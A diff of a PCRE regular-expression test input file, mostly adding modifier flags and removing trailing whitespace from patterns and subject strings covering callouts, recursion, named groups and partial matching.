+|8J\$WE\<\.rX\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|IDZ
 
-|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|DM
+|\$\<\.X\+ix\[d1b\!H\#\?vV0vrK\:ZH1\=2M\>iV\;\?aPhFB\<\*vW\@QW\@sO9\}cfZA\-i\'w\%hKd6gt1UJP\,15_\#QY\$M\^Mss_U\/\]\&LK9\[5vQub\^w\[KDD\<EjmhUZ\?\.akp2dF\>qmj\;2\}YWFdYx\.Ap\]hjCPTP\(n28k\+3\;o\&WXqs\/gOXdr\$\:r\'do0\;b4c\(f_Gr\=\"\\4\)\[01T7ajQJvL\$W\~mL_sS\/4h\:x\*\[ZN\=KLs\&L5zX\/\/\>it\,o\:aU\(\;Z\>pW\&T7oP\'2K\^E\:x9\'c\[\%z\-\,64JQ5AeH_G\#KijUKghQw\^\\vea3a\?kka_G\$8\#\`\*kynsxzBLru\'\]k_\[7FrVx\}\^\=\$blx\>s\-N\%j\;D\*aZDnsw\:YKZ\%Q\.Kne9\#hP\?\+b3\(SOvL\,\^\;\&u5\@\?5C5Bhb\=m\-vEh_L15Jl\]U\)0RP6\{q\%L\^_z5E\'Dw6X\b|IDZ
 
 /(.*)\d+\1/I
 
 /(.*)\d+/I
-    
+
 /(.*)\d+\1/Is
 
 /(.*)\d+/Is
@@ -956,12 +956,12 @@
 
 /((.*))\d+\1/I
     abc123bc
-    
+
 /a[b]/I
 
 /(?=a).*/I
 
-/(?=abc).xyz/iI
+/(?=abc).xyz/IiI
 
 /(?=abc)(?i).xyz/I
 
@@ -975,13 +975,13 @@
 
 /()a/I
 
-/(?(1)ab|ac)/I
+/(?(1)ab|ac)(.)/I
 
-/(?(1)abz|acz)/I
+/(?(1)abz|acz)(.)/I
 
-/(?(1)abz)/I
+/(?(1)abz)(.)/I
 
-/(?(1)abz)123/I
+/(?(1)abz)(1)23/I
 
 /(a)+/I
 
@@ -1003,11 +1003,11 @@
 
 /a^b/I
 
-/^a/mI
+/^a/Im
   abcde
-  xy\nabc 
-  *** Failers 
-  xyabc 
+  xy\nabc
+  *** Failers
+  xyabc
 
 /c|abc/I
 
@@ -1015,328 +1015,328 @@
 
 /[ab](?i)cd/IS
 
-/abc(?C)def/
+/abc(?C)def/I
     abcdef
-    1234abcdef 
+    1234abcdef
     *** Failers
     abcxyz
-    abcxyzf   
+    abcxyzf
 
-/abc(?C)de(?C1)f/
+/abc(?C)de(?C1)f/I
     123abcdef
-    
-/(?C1)\dabc(?C2)def/ 
+
+/(?C1)\dabc(?C2)def/I
     1234abcdef
     *** Failers
-    abcdef 
-    
-/(?C255)ab/
+    abcdef
 
-/(?C256)ab/
+/(?C255)ab/I
 
-/(?Cab)xx/ 
+/(?C256)ab/I
 
-/(?C12vr)x/
+/(?Cab)xx/I
 
-/abc(?C)def/
+/(?C12vr)x/I
+
+/abc(?C)def/I
     *** Failers
     \x83\x0\x61bcdef
 
-/(abc)(?C)de(?C1)f/
+/(abc)(?C)de(?C1)f/I
     123abcdef
-    123abcdef\C+ 
-    123abcdef\C- 
+    123abcdef\C+
+    123abcdef\C-
     *** Failers
-    123abcdef\C!1 
-    
-/(?C0)(abc(?C1))*/
+    123abcdef\C!1
+
+/(?C0)(abc(?C1))*/I
     abcabcabc
-    abcabc\C!1!3   
+    abcabc\C!1!3
     *** Failers
-    abcabcabc\C!1!3   
+    abcabcabc\C!1!3
 
-/(\d{3}(?C))*/
+/(\d{3}(?C))*/I
     123\C+
     123456\C+
-    123456789\C+  
+    123456789\C+
 
-/((xyz)(?C)p|(?C1)xyzabc)/
+/((xyz)(?C)p|(?C1)xyzabc)/I
     xyzabc\C+
 
-/(X)((xyz)(?C)p|(?C1)xyzabc)/
+/(X)((xyz)(?C)p|(?C1)xyzabc)/I
     Xxyzabc\C+
 
-/(?=(abc))(?C)abcdef/
+/(?=(abc))(?C)abcdef/I
     abcdef\C+
-    
-/(?!(abc)(?C1)d)(?C2)abcxyz/
-    abcxyz\C+ 
 
-/(?<=(abc)(?C))xyz/
+/(?!(abc)(?C1)d)(?C2)abcxyz/I
+    abcxyz\C+
+
+/(?<=(abc)(?C))xyz/I
    abcxyz\C+
-   
-/a(b+)(c*)(?C1)/
+
+/a(b+)(c*)(?C1)/I
     abbbbbccc\C*1
 
-/a(b+?)(c*?)(?C1)/
+/a(b+?)(c*?)(?C1)/I
     abbbbbccc\C*1
-   
-/(?C)abc/ 
 
-/(?C)^abc/
+/(?C)abc/I
 
-/(?C)a|b/S
+/(?C)^abc/I
 
-/(?R)/
+/(?C)a|b/IS
 
-/(a|(?R))/
+/(?R)/I
 
-/(ab|(bc|(de|(?R))))/
+/(a|(?R))/I
 
-/x(ab|(bc|(de|(?R))))/
+/(ab|(bc|(de|(?R))))/I
+
+/x(ab|(bc|(de|(?R))))/I
     xab
     xbc
     xde
     xxab
     xxxab
     *** Failers
-    xyab   
+    xyab
 
-/(ab|(bc|(de|(?1))))/
+/(ab|(bc|(de|(?1))))/I
 
-/x(ab|(bc|(de|(?1)x)x)x)/
+/x(ab|(bc|(de|(?1)x)x)x)/I
 
-/^([^()]|\((?1)*\))*$/
+/^([^()]|\((?1)*\))*$/I
     abc
     a(b)c
-    a(b(c))d  
+    a(b(c))d
     *** Failers)
-    a(b(c)d  
+    a(b(c)d
 
-/^>abc>([^()]|\((?1)*\))*<xyz<$/
+/^>abc>([^()]|\((?1)*\))*<xyz<$/I
    >abc>123<xyz<
    >abc>1(2)3<xyz<
    >abc>(1(2)3)<xyz<
 
-/(a(?1)b)/D
+/(a(?1)b)/DZ
 
-/(a(?1)+b)/D
+/(a(?1)+b)/DZ
 
-/^\W*(?:((.)\W*(?1)\W*\2|)|((.)\W*(?3)\W*\4|\W*.\W*))\W*$/i
+/^\W*(?:((.)\W*(?1)\W*\2|)|((.)\W*(?3)\W*\4|\W*.\W*))\W*$/Ii
     1221
     Satan, oscillate my metallic sonatas!
     A man, a plan, a canal: Panama!
-    Able was I ere I saw Elba. 
+    Able was I ere I saw Elba.
     *** Failers
-    The quick brown fox  
-    
-/^(\d+|\((?1)([+*-])(?1)\)|-(?1))$/
+    The quick brown fox
+
+/^(\d+|\((?1)([+*-])(?1)\)|-(?1))$/I
     12
     (((2+2)*-3)-7)
     -12
     *** Failers
     ((2+2)*-3)-7)
-         
-/^(x(y|(?1){2})z)/
+
+/^(x(y|(?1){2})z)/I
     xyz
-    xxyzxyzz 
+    xxyzxyzz
     *** Failers
     xxyzz
-    xxyzxyzxyzz   
+    xxyzxyzxyzz
 
-/((< (?: (?(R) \d++  | [^<>]*+) | (?2)) * >))/x
+/((< (?: (?(R) \d++  | [^<>]*+) | (?2)) * >))/Ix
     <>
     <abcd>
     <abc <123> hij>
     <abc <def> hij>
-    <abc<>def> 
-    <abc<>      
+    <abc<>def>
+    <abc<>
     *** Failers
     <abc
 
-/(?1)/
+/(?1)/I
 
-/((?2)(abc)/
+/((?2)(abc)/I
 
-/^(abc)def(?1)/
+/^(abc)def(?1)/I
     abcdefabc
 
-/^(a|b|c)=(?1)+/
+/^(a|b|c)=(?1)+/I
     a=a
     a=b
-    a=bc  
+    a=bc
 
-/^(a|b|c)=((?1))+/
+/^(a|b|c)=((?1))+/I
     a=a
     a=b
-    a=bc  
+    a=bc
 
-/a(?P<name1>b|c)d(?P<longername2>e)/D
+/a(?P<name1>b|c)d(?P<longername2>e)/DZ
     abde
-    acde 
+    acde
 
-/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/D
+/(?:a(?P<c>c(?P<d>d)))(?P<a>a)/DZ
 
-/(?P<a>a)...(?P=a)bbb(?P>a)d/D
+/(?P<a>a)...(?P=a)bbb(?P>a)d/DZ
 
-/^\W*(?:(?P<one>(?P<two>.)\W*(?P>one)\W*(?P=two)|)|(?P<three>(?P<four>.)\W*(?P>three)\W*(?P=four)|\W*.\W*))\W*$/i
+/^\W*(?:(?P<one>(?P<two>.)\W*(?P>one)\W*(?P=two)|)|(?P<three>(?P<four>.)\W*(?P>three)\W*(?P=four)|\W*.\W*))\W*$/Ii
     1221
     Satan, oscillate my metallic sonatas!
     A man, a plan, a canal: Panama!
-    Able was I ere I saw Elba. 
+    Able was I ere I saw Elba.
     *** Failers
-    The quick brown fox  
-    
-/((?(R)a|b))\1(?1)?/
+    The quick brown fox
+
+/((?(R)a|b))\1(?1)?/I
   bb
-  bbaa 
+  bbaa
 
-/(.*)a/sI
+/(.*)a/Is
 
-/(.*)a\1/sI
+/(.*)a\1/Is
 
-/(.*)a(b)\2/sI
+/(.*)a(b)\2/Is
 
-/((.*)a|(.*)b)z/sI
+/((.*)a|(.*)b)z/Is
 
-/((.*)a|(.*)b)z\1/sI
+/((.*)a|(.*)b)z\1/Is
 
-/((.*)a|(.*)b)z\2/sI
+/((.*)a|(.*)b)z\2/Is
 
-/((.*)a|(.*)b)z\3/sI
+/((.*)a|(.*)b)z\3/Is
 
-/((.*)a|^(.*)b)z\3/sI
+/((.*)a|^(.*)b)z\3/Is
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a/Is
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\31/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\31/Is
 
-/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\32/sI
+/(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)|(.*)a\32/Is
 
-/(a)(bc)/ND
+/(a)(bc)/INDZ
   abc
 
-/(?P<one>a)(bc)/ND
+/(?P<one>a)(bc)/INDZ
   abc
 
-/(a)(?P<named>bc)/ND
+/(a)(?P<named>bc)/INDZ
 
-/(a+)*zz/
+/(a+)*zz/I
   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazzbbbbbb\M
   aaaaaaaaaaaaaz\M
 
-/(aaa(?C1)bbb|ab)/
+/(aaa(?C1)bbb|ab)/I
    aaabbb
    aaabbb\C*0
    aaabbb\C*1
    aaabbb\C*-1
 
-/ab(?P<one>cd)ef(?P<two>gh)/
+/ab(?P<one>cd)ef(?P<two>gh)/I
     abcdefgh
     abcdefgh\C1\Gtwo
     abcdefgh\Cone\Ctwo
-    abcdefgh\Cthree  
+    abcdefgh\Cthree
 
-/(?P<Tes>)(?P<Test>)/D
+/(?P<Tes>)(?P<Test>)/DZ
 
-/(?P<Test>)(?P<Tes>)/D
+/(?P<Test>)(?P<Tes>)/DZ
 
-/(?P<Z>zz)(?P<A>aa)/
+/(?P<Z>zz)(?P<A>aa)/I
     zzaa\CZ
     zzaa\CA
 
-/(?P<x>eks)(?P<x>eccs)/
+/(?P<x>eks)(?P<x>eccs)/I
 
-/(?P<abc>abc(?P<def>def)(?P<abc>xyz))/
+/(?P<abc>abc(?P<def>def)(?P<abc>xyz))/I
 
-"\[((?P<elem>\d+)(,(?P>elem))*)\]"
+"\[((?P<elem>\d+)(,(?P>elem))*)\]"I
     [10,20,30,5,5,4,4,2,43,23,4234]
     *** Failers
-    []  
+    []
 
-"\[((?P<elem>\d+)(,(?P>elem))*)?\]"
+"\[((?P<elem>\d+)(,(?P>elem))*)?\]"I
     [10,20,30,5,5,4,4,2,43,23,4234]
-    [] 
+    []
 
-/(a(b(?2)c))?/D
+/(a(b(?2)c))?/DZ
 
-/(a(b(?2)c))*/D
+/(a(b(?2)c))*/DZ
 
-/(a(b(?2)c)){0,2}/D
+/(a(b(?2)c)){0,2}/DZ
 
-/[ab]{1}+/D
+/[ab]{1}+/DZ
 
-/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/i
+/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/Ii
      Baby Bjorn Active Carrier - With free SHIPPING!!
 
-/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/iS
+/((w\/|-|with)*(free|immediate)*.*?shipping\s*[!.-]*)/IiS
      Baby Bjorn Active Carrier - With free SHIPPING!!
-     
-/a*.*b/SD
 
-/(a|b)*.?c/SD 
+/a*.*b/ISDZ
 
-/abc(?C255)de(?C)f/D
+/(a|b)*.?c/ISDZ
 
-/abcde/CD
+/abc(?C255)de(?C)f/DZ
+
+/abcde/ICDZ
   abcde
-  abcdfe 
-  
-/a*b/CD
+  abcdfe
+
+/a*b/ICDZ
   ab
   aaaab
-  aaaacb   
+  aaaacb
 
-/a+b/CD
+/a+b/ICDZ
   ab
   aaaab
-  aaaacb   
+  aaaacb
 
-/(abc|def)x/CD
+/(abc|def)x/ICDZ
   abcx
   defx
   abcdefzx
 
-/(ab|cd){3,4}/C
+/(ab|cd){3,4}/IC
   ababab
   abcdabcd
-  abcdcdcdcdcd  
+  abcdcdcdcdcd
 
-/([ab]{,4}c|xy)/CD
+/([ab]{,4}c|xy)/ICDZ
     Note: that { does NOT introduce a quantifier
 
-/([ab]{1,4}c|xy){4,5}?123/CD
+/([ab]{1,4}c|xy){4,5}?123/ICDZ
     aacaacaacaacaac123
 
 /\b.*/I
   ab cd\>1
-  
-/\b.*/Is 
+
+/\b.*/Is
   ab cd\>1
-  
+
 /(?!.bcd).*/I
-  Xbcd12345 
+  Xbcd12345
 
-/abcde/
+/abcde/I
     ab\P
     abc\P
     abcd\P
-    abcde\P   
+    abcde\P
     the quick brown abc\P
     ** Failers\P
     the quick brown abxyz fox\P
-    
-"^(0?[1-9]|[12][0-9]|3[01])/(0?[1-9]|1[012])/(20)?\d\d$"
+
+"^(0?[1-9]|[12][0-9]|3[01])/(0?[1-9]|1[012])/(20)?\d\d$"I
     13/05/04\P
     13/5/2004\P
-    02/05/09\P 
+    02/05/09\P
     1\P
     1/2\P
     1/2/0\P
-    1/2/04\P    
+    1/2/04\P
     0\P
     02/\P
-    02/0\P   
+    02/0\P
     02/1\P
     ** Failers\P
     \P
@@ -1344,285 +1344,285 @@
     33/4/04\P
     3/13/04\P
     0/1/2003\P
-    0/\P 
-    02/0/\P 
-    02/13\P  
+    0/\P
+    02/0/\P
+    02/13\P
 
 /0{0,2}ABC/I
-    
+
 /\d{3,}ABC/I
-    
+
 /\d*ABC/I
 
 /[abc]+DE/I
 
-/[abc]?123/
+/[abc]?123/I
     123\P
     a\P
     b\P
     c\P
     c12\P
-    c123\P      
+    c123\P
 
-/^(?:\d){3,5}X/
+/^(?:\d){3,5}X/I
     1\P
     123\P
     123X
     1234\P
     1234X
     12345\P
-    12345X      
-    *** Failers 
-    1X 
-    123456\P 
+    12345X
+    *** Failers
+    1X
+    123456\P
 
-/abc/>testsavedregex
+/abc/I>testsavedregex
 <testsavedregex
     abc
     ** Failers
     bca
-    
-/abc/F>testsavedregex
+
+/abc/IF>testsavedregex
 <testsavedregex
     abc
     ** Failers
     bca
 
-/(a|b)/S>testsavedregex
+/(a|b)/IS>testsavedregex
 <testsavedregex
     abc
     ** Failers
-    def  
-    
-/(a|b)/SF>testsavedregex
+    def
+
+/(a|b)/ISF>testsavedregex
 <testsavedregex
     abc
     ** Failers
-    def  
-    
-~<(\w+)/?>(.)*</(\1)>~smg
+    def
+
+~<(\w+)/?>(.)*</(\1)>~smgI
     <!DOCTYPE seite SYSTEM "http://www.lco.lineas.de/xmlCms.dtd">\n<seite>\n<dokumenteninformation>\n<seitentitel>Partner der LCO</seitentitel>\n<sprache>de</sprache>\n<seitenbeschreibung>Partner der LINEAS Consulting\nGmbH</seitenbeschreibung>\n<schluesselworte>LINEAS Consulting GmbH Hamburg\nPartnerfirmen</schluesselworte>\n<revisit>30 days</revisit>\n<robots>index,follow</robots>\n<menueinformation>\n<aktiv>ja</aktiv>\n<menueposition>3</menueposition>\n<menuetext>Partner</menuetext>\n</menueinformation>\n<lastedited>\n<autor>LCO</autor>\n<firma>LINEAS Consulting</firma>\n<datum>15.10.2003</datum>\n</lastedited>\n</dokumenteninformation>\n<inhalt>\n\n<absatzueberschrift>Die Partnerfirmen der LINEAS Consulting\nGmbH</absatzueberschrift>\n\n<absatz><link ziel="http://www.ca.com/" zielfenster="_blank">\n<bild name="logo_ca.gif" rahmen="no"/></link> <link\nziel="http://www.ey.com/" zielfenster="_blank"><bild\nname="logo_euy.gif" rahmen="no"/></link>\n</absatz>\n\n<absatz><link ziel="http://www.cisco.de/" zielfenster="_blank">\n<bild name="logo_cisco.gif" rahmen="ja"/></link></absatz>\n\n<absatz><link ziel="http://www.atelion.de/"\nzielfenster="_blank"><bild\nname="logo_atelion.gif" rahmen="no"/></link>\n</absatz>\n\n<absatz><link ziel="http://www.line-information.de/"\nzielfenster="_blank">\n<bild name="logo_line_information.gif" rahmen="no"/></link>\n</absatz>\n\n<absatz><bild name="logo_aw.gif" rahmen="no"/></absatz>\n\n<absatz><link ziel="http://www.incognis.de/"\nzielfenster="_blank"><bild\nname="logo_incognis.gif" rahmen="no"/></link></absatz>\n\n<absatz><link ziel="http://www.addcraft.com/"\nzielfenster="_blank"><bild\nname="logo_addcraft.gif" rahmen="no"/></link></absatz>\n\n<absatz><link ziel="http://www.comendo.com/"\nzielfenster="_blank"><bild\nname="logo_comendo.gif" rahmen="no"/></link></absatz>\n\n</inhalt>\n</seite>
 
 /^a/IF
 
-/line\nbreak/
+/line\nbreak/I
     this is a line\nbreak
-    line one\nthis is a line\nbreak in the second line 
+    line one\nthis is a line\nbreak in the second line
 
-/line\nbreak/f
+/line\nbreak/If
     this is a line\nbreak
-    ** Failers 
-    line one\nthis is a line\nbreak in the second line 
+    ** Failers
+    line one\nthis is a line\nbreak in the second line
 
-/line\nbreak/mf
+/line\nbreak/Imf
     this is a line\nbreak
-    ** Failers 
-    line one\nthis is a line\nbreak in the second line 
+    ** Failers
+    line one\nthis is a line\nbreak in the second line
 
-/ab.cd/P
+/ab.cd/IP
     ab-cd
-    ab=cd 
+    ab=cd
     ** Failers
     ab\ncd
 
-/ab.cd/Ps
+/ab.cd/IPs
     ab-cd
-    ab=cd 
+    ab=cd
     ab\ncd
 
-/(?i)(?-i)AbCd/
+/(?i)(?-i)AbCd/I
     AbCd
     ** Failers
-    abcd  
-    
-/a{11111111111111111111}/
+    abcd
 
-/(){64294967295}/
+/a{11111111111111111111}/I
 
-/(){2,4294967295}/
+/(){64294967295}/I
 
-"(?i:a)(?i:b)(?i:c)(?i:d)(?i:e)(?i:f)(?i:g)(?i:h)(?i:i)(?i:j)(k)(?i:l)A\1B"
+/(){2,4294967295}/I
+
+"(?i:a)(?i:b)(?i:c)(?i:d)(?i:e)(?i:f)(?i:g)(?i:h)(?i:i)(?i:j)(k)(?i:l)A\1B"I
     abcdefghijklAkB
 
-"(?P<n0>a)(?P<n1>b)(?P<n2>c)(?P<n3>d)(?P<n4>e)(?P<n5>f)(?P<n6>g)(?P<n7>h)(?P<n8>i)(?P<n9>j)(?P<n10>k)(?P<n11>l)A\11B"
+"(?P<n0>a)(?P<n1>b)(?P<n2>c)(?P<n3>d)(?P<n4>e)(?P<n5>f)(?P<n6>g)(?P<n7>h)(?P<n8>i)(?P<n9>j)(?P<n10>k)(?P<n11>l)A\11B"I
     abcdefghijklAkB
 
-"(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)A\11B"
+"(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)A\11B"I
     abcdefghijklAkB
 
-"(?P<name0>a)(?P<name1>a)(?P<name2>a)(?P<name3>a)(?P<name4>a)(?P<name5>a)(?P<name6>a)(?P<name7>a)(?P<name8>a)(?P<name9>a)(?P<name10>a)(?P<name11>a)(?P<name12>a)(?P<name13>a)(?P<name14>a)(?P<name15>a)(?P<name16>a)(?P<name17>a)(?P<name18>a)(?P<name19>a)(?P<name20>a)(?P<name21>a)(?P<name22>a)(?P<name23>a)(?P<name24>a)(?P<name25>a)(?P<name26>a)(?P<name27>a)(?P<name28>a)(?P<name29>a)(?P<name30>a)(?P<name31>a)(?P<name32>a)(?P<name33>a)(?P<name34>a)(?P<name35>a)(?P<name36>a)(?P<name37>a)(?P<name38>a)(?P<name39>a)(?P<name40>a)(?P<name41>a)(?P<name42>a)(?P<name43>a)(?P<name44>a)(?P<name45>a)(?P<name46>a)(?P<name47>a)(?P<name48>a)(?P<name49>a)(?P<name50>a)(?P<name51>a)(?P<name52>a)(?P<name53>a)(?P<name54>a)(?P<name55>a)(?P<name56>a)(?P<name57>a)(?P<name58>a)(?P<name59>a)(?P<name60>a)(?P<name61>a)(?P<name62>a)(?P<name63>a)(?P<name64>a)(?P<name65>a)(?P<name66>a)(?P<name67>a)(?P<name68>a)(?P<name69>a)(?P<name70>a)(?P<name71>a)(?P<name72>a)(?P<name73>a)(?P<name74>a)(?P<name75>a)(?P<name76>a)(?P<name77>a)(?P<name78>a)(?P<name79>a)(?P<name80>a)(?P<name81>a)(?P<name82>a)(?P<name83>a)(?P<name84>a)(?P<name85>a)(?P<name86>a)(?P<name87>a)(?P<name88>a)(?P<name89>a)(?P<name90>a)(?P<name91>a)(?P<name92>a)(?P<name93>a)(?P<name94>a)(?P<name95>a)(?P<name96>a)(?P<name97>a)(?P<name98>a)(?P<name99>a)(?P<name100>a)"
+"(?P<name0>a)(?P<name1>a)(?P<name2>a)(?P<name3>a)(?P<name4>a)(?P<name5>a)(?P<name6>a)(?P<name7>a)(?P<name8>a)(?P<name9>a)(?P<name10>a)(?P<name11>a)(?P<name12>a)(?P<name13>a)(?P<name14>a)(?P<name15>a)(?P<name16>a)(?P<name17>a)(?P<name18>a)(?P<name19>a)(?P<name20>a)(?P<name21>a)(?P<name22>a)(?P<name23>a)(?P<name24>a)(?P<name25>a)(?P<name26>a)(?P<name27>a)(?P<name28>a)(?P<name29>a)(?P<name30>a)(?P<name31>a)(?P<name32>a)(?P<name33>a)(?P<name34>a)(?P<name35>a)(?P<name36>a)(?P<name37>a)(?P<name38>a)(?P<name39>a)(?P<name40>a)(?P<name41>a)(?P<name42>a)(?P<name43>a)(?P<name44>a)(?P<name45>a)(?P<name46>a)(?P<name47>a)(?P<name48>a)(?P<name49>a)(?P<name50>a)(?P<name51>a)(?P<name52>a)(?P<name53>a)(?P<name54>a)(?P<name55>a)(?P<name56>a)(?P<name57>a)(?P<name58>a)(?P<name59>a)(?P<name60>a)(?P<name61>a)(?P<name62>a)(?P<name63>a)(?P<name64>a)(?P<name65>a)(?P<name66>a)(?P<name67>a)(?P<name68>a)(?P<name69>a)(?P<name70>a)(?P<name71>a)(?P<name72>a)(?P<name73>a)(?P<name74>a)(?P<name75>a)(?P<name76>a)(?P<name77>a)(?P<name78>a)(?P<name79>a)(?P<name80>a)(?P<name81>a)(?P<name82>a)(?P<name83>a)(?P<name84>a)(?P<name85>a)(?P<name86>a)(?P<name87>a)(?P<name88>a)(?P<name89>a)(?P<name90>a)(?P<name91>a)(?P<name92>a)(?P<name93>a)(?P<name94>a)(?P<name95>a)(?P<name96>a)(?P<name97>a)(?P<name98>a)(?P<name99>a)(?P<name100>a)"I
     aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 
-"(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)"
+"(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)(a)"I
     aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 
-/[^()]*(?:\((?R)\)[^()]*)*/
+/[^()]*(?:\((?R)\)[^()]*)*/I
     (this(and)that
-    (this(and)that) 
+    (this(and)that)
     (this(and)that)stuff
 
-/[^()]*(?:\((?>(?R))\)[^()]*)*/
+/[^()]*(?:\((?>(?R))\)[^()]*)*/I
     (this(and)that
-    (this(and)that) 
-    
-/[^()]*(?:\((?R)\))*[^()]*/
+    (this(and)that)
+
+/[^()]*(?:\((?R)\))*[^()]*/I
     (this(and)that
-    (this(and)that) 
+    (this(and)that)
 
-/(?:\((?R)\))*[^()]*/
+/(?:\((?R)\))*[^()]*/I
     (this(and)that
-    (this(and)that) 
-    ((this)) 
+    (this(and)that)
+    ((this))
 
-/(?:\((?R)\))|[^()]*/
+/(?:\((?R)\))|[^()]*/I
     (this(and)that
-    (this(and)that) 
+    (this(and)that)
     (this)
-    ((this)) 
-    
-/a(b)c/PN
+    ((this))
+
+/a(b)c/IPN
     abc
-    
-/a(?P<name>b)c/PN
-    abc  
-    
-/\x{100}/ 
 
-/\x{0000ff}/
+/a(?P<name>b)c/IPN
+    abc
 
-/^((?P<A>a1)|(?P<A>a2)b)/
+/\x{100}/I
 
-/^((?P<A>a1)|(?P<A>a2)b)/J
+/\x{0000ff}/I
+
+/^((?P<A>a1)|(?P<A>a2)b)/I
+
+/^((?P<A>a1)|(?P<A>a2)b)/IJ
     a1b\CA
-    a2b\CA 
+    a2b\CA
     ** Failers
-    a1b\CZ\CA 
-    
-/^(?P<A>a)(?P<A>b)/J
+    a1b\CZ\CA
+
+/^(?P<A>a)(?P<A>b)/IJ
     ab\CA
-    
-/^(?P<A>a)(?P<A>b)|cd/J
+
